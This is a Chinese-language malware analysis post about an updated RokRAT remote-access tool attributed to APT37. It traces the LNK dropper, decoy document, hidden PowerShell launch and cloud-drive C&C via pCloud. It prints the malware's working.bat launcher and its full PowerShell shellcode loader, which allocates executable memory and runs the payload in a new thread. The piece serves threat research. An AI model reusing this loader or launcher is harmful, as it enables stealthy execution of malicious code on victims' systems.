APT37组织主战远控武器RokRAT更新迭代部分执行流程

APT 2个月前 admin
129 0 0

前言

各个师傅新年好奥,希望今年都好一点。


从威胁情报渠道获取到比较新的APT37组织主战武器RokRAT样本,相比以往的RokRAT样本,此次样本在执行流程和细节上有了部分的更新迭代。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

背景

APT37,别名Group123、Venus 121、Reaper等,是一个活跃的朝鲜黑客组织,其攻击活动被发现开始于2012年。APT37的主要攻击目标为朝鲜的地理邻国,包括韩国、日本、俄罗斯、中国等,其中对韩国的攻击活动最频繁。Rokrat为该组织主战远控武器之一,其C&C位于几大公共云网盘上,分别是Dropbox,Pcloud,Yandex和Box(主要是前两个)。Rokrat通过内置的云盘账号的Token向云盘发起针对特定文件的下载、上传和删除等请求,以此实现与C&C通信。

逆向分析

样本执行流程

初始载荷执行释放4个二阶段载荷,其中“.pdf”为迷惑性正常文件,在其他样本中可以是其他格式的文档文件,此样本中“.lnk”文件在释放完后会执行“.pdf”文件,让用户以为自己打开了正常文件。

“.lnk”文件执行结束后会自删除。APT37组织主战远控武器RokRAT更新迭代部分执行流程

二阶段载荷执行,“working.bat”脚本调用poershell执行文本文件”temp.dat”,创建线程执行shellcode二进制文件“public.dat”。shellcode会在内存中释放执行PE文件,做系统基本信息搜集,完成对域名“api.pcloud.com”的请求,并处理后续下载来的后续载荷。

APT37组织主战远控武器RokRAT更新迭代部分执行流程


初始载荷程序释放、执行二阶段载荷

经过解压缩获取初始载荷文件是一个lnk文件,文件大小221MB。APT37组织主战远控武器RokRAT更新迭代部分执行流程修改后缀查看其快捷方式目标,目标文件是“%windir%SysWOW64cmd.exe”,并且有一系列参数。APT37组织主战远控武器RokRAT更新迭代部分执行流程文件属性-快捷方式-“目标”值有长度限制,过长被截断了。APT37组织主战远控武器RokRAT更新迭代部分执行流程在文件ascll流里可以找到完整的。APT37组织主战远控武器RokRAT更新迭代部分执行流程拿出来整理一下,是一个通过powershell调用C#的嵌入代码的脚本。APT37组织主战远控武器RokRAT更新迭代部分执行流程初始载荷执行并且释放了一列后续载荷,梳理详细功能如下。

  • 以隐藏属性打开cmd窗口,指定路径递归寻找powershell.exe脚本执行嵌入的C#代码。
  • 在动态链接库User32.dll中调用FindWindow和ShowWindow函数,过调用FindWindow函数查找名为”powershell.exe”的窗口,并通过ShowWindow函数隐藏该窗口。
  • 获取当前目录路径,如果路径包含”System32″或”Program Files”,则将一个参数目录路径设置为”%temp%”。
  • 用地址偏移的方法在当前lnk文件定位载荷,新建数组存储并释放成文件。
    1. 在lnk文件相同路径释放’【lnk同名】.hwp’文件,并且执行。
    2. 在%public%路径释放’public.dat’文件。
    3. 在%temp%路径释放’temp.dat’文件。
    4. 在%temp%路径释放’working.bat’文件。
  • 执行”working.bat”文件。
  • 关闭.lnk文件。
  • 删除原始.lnk文件。

shellcode加载准备阶段

初始载荷释放并且执行了”working.bat”,这个“.bat”脚本就是后续载荷执行的起点了。”working.bat”内容如下,功能为创建隐藏窗口powershell进程,读取“temp.dat”文本文件并放入内存中执行。

start /min C:WindowsSysWow64WindowsPowerShellv1.0powershell.exe -windowstyle hidden 
"$stringPath=$env:temp+''+'temp.dat';
$stringByte = Get-Content -path $stringPath -encoding byte;
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$scriptBlock = [scriptblock]::Create($string);
&$scriptBlock;
"

“temp.dat”脚本内容如下,此脚本也是一个典型的shellcode加载和执行的过程,读取 public.dat 文件中的二进制数据,然后在内存中分配空间,将数据写入该空间,最后创建一个线程来执行这段内存中的代码。

详细功能描述写成注释在代码中

## 构建 public.dat 文件的完整路径,并读取public.dat 文件的二进制内容。
$exePath=$env:public+''+'public.dat';
$exeFile = Get-Content -path $exePath -encoding byte;
 [Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072);
## windowsAPI函数的声明,并通过 Add-Type 添加到 PowerShell 环境中
$k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34);
$a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b = Add-Type -MemberDefinition $a90234s  -Name 'AAA' -PassThru;
$d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru;
$b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);';
$cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse  -Name 'BBB' -PassThru;
$dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';
$fried3sd23 = Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru;
##  获取 public.dat 文件的字节数。
$byteCount = $exeFile.Length;
##  在内存中分配空间
$buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100);
$old = 0;
##  修改内存区域的保护属性,将其设置为可执行。
$a90234sb::VirtualProtect($buffer$byteCount + 0x100, 0x40, [ref]$old);
## 将 public.dat 文件的内容写入分配的内存空间中
 for($i = 0;
$i -lt $byteCount;
$i++) { [System.Runtime.InteropServices.Marshal]::WriteByte($buffer$i$exeFile[$i]);
 };
 ## 创建一个线程,将分配的内存区域的地址作为线程的入口点。
$handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0);

## 等待线程执行完毕,最多等待500秒。
$fried3sd23::WaitForSingleObject($handle, 500 * 1000);

SHELLCODE执行

shellcode如下,长度889,858字节。

APT37组织主战远控武器RokRAT更新迭代部分执行流程按照“temp.dat”脚本思路,编写一个shellocde加载器,该函数正常执行结束后会步入shellcode代码段。

APT37组织主战远控武器RokRAT更新迭代部分执行流程动态调试查看读进内存的shellcode流。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

shellcode段起始地址0xF0000。

shellcode继续执行,以ror右移等解密方法循环解密windowsAPI函数名。并且通过异或等方法解密了一个PE文件。

APT37组织主战远控武器RokRAT更新迭代部分执行流程动态调试异或解密PE文件如图。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

随后开辟新的内存空间,分段将PE内存复制一遍。

APT37组织主战远控武器RokRAT更新迭代部分执行流程调用函数LoadLibraryA(KERNEL32.dll)库,循环获取windowsAPI地址。

APT37组织主战远控武器RokRAT更新迭代部分执行流程函数执行打扫清理工作,并且通过覆盖PE文件起始段破坏了PE文件的结构。

APT37组织主战远控武器RokRAT更新迭代部分执行流程动态调试查看被覆盖了前64字节内存状况(上),与正常内存(下)比对。

APT37组织主战远控武器RokRAT更新迭代部分执行流程shellcode程序并没有从PE文件起始处开始执行,而是将地址0x71B375(PE文件起始地址0x6E0000)赋值在ECX寄存器中调用。

APT37组织主战远控武器RokRAT更新迭代部分执行流程将PE文件所在的内存模块完整dump下来,定位到函数调用位置。实际上就是PE程序入口点。

APT37组织主战远控武器RokRAT更新迭代部分执行流程反汇编一下就很清晰了,标准的Microsoft Visual C/C++(19.00.24210)编译“C++”程序的start函数入口点。

APT37组织主战远控武器RokRAT更新迭代部分执行流程接下来就是执行这个解密的PE程序了。

执行shellcode解密的PE文件

系统基本信息搜集

定位到程序主函数如图,执行流程不长,逐步调试分析。首先是样本做信息搜集并将内容上传到云盘C&C。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

继续执行解密到user-agent。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

动态调试查看内存状态

APT37组织主战远控武器RokRAT更新迭代部分执行流程
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

加载相应dll,调用windowsAPI,RtlGetVersion获取操作系统版本信息。

APT37组织主战远控武器RokRAT更新迭代部分执行流程
  • 主版本号 (dwMajorVersion):6 Windows7的主版本号是 6。
  • 次版本号 (dwMinorVersion):1次版本号为 1 表示 Windows 7 的版本。
  • 内部版本号 (dwBuildNumber):7601内部版本号 7601 是 Windows 7 Service Pack 1 (SP1) 的内部版本号。获取vmtoolsd.exe文件版本号
APT37组织主战远控武器RokRAT更新迭代部分执行流程

检查当前进程是否为32位应用程序在64位 Windows 操作系统上运行,如果是则做相应的系统信息搜集。包括计算机名称、用户名、当前程序路径、BIOS部分信息等。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

生成随机数RAND拼接路径C:WindowsRandData.dat,如果目标文件存在则删除文件。有管理员权限判断功能。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

外连请求

创建线程函数执行,循环构造http请求目标域名“api.pcloud.com”。URL硬编码与样本中。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

线程调用WinHttpOpen、WinHttpOpenRequest、WinHttpAddRequestHeaders 等函数来初始化和配置请求。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

配置http请求超时控制。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

调用WinHttpAddRequestHeaders函数做Header配置,Token字段在Authorization中,内存状态如图。

APT37组织主战远控武器RokRAT更新迭代部分执行流程请求头如下。

User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Authorization: Bearer DOAD**********************wSO7
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Authorization: OAuth y*_Ag*********************1QV3g
Content-Type: application/json

下载到后续资源后做处理。

APT37组织主战远控武器RokRAT更新迭代部分执行流程

文章很长了,其他功能后续再写。

原文始发于微信公众号(帅仔回忆录):APT37组织主战远控武器RokRAT更新迭代部分执行流程

版权声明:admin 发表于 2024年2月26日 上午8:51。
转载请注明:APT37组织主战远控武器RokRAT更新迭代部分执行流程 | CTF导航

相关文章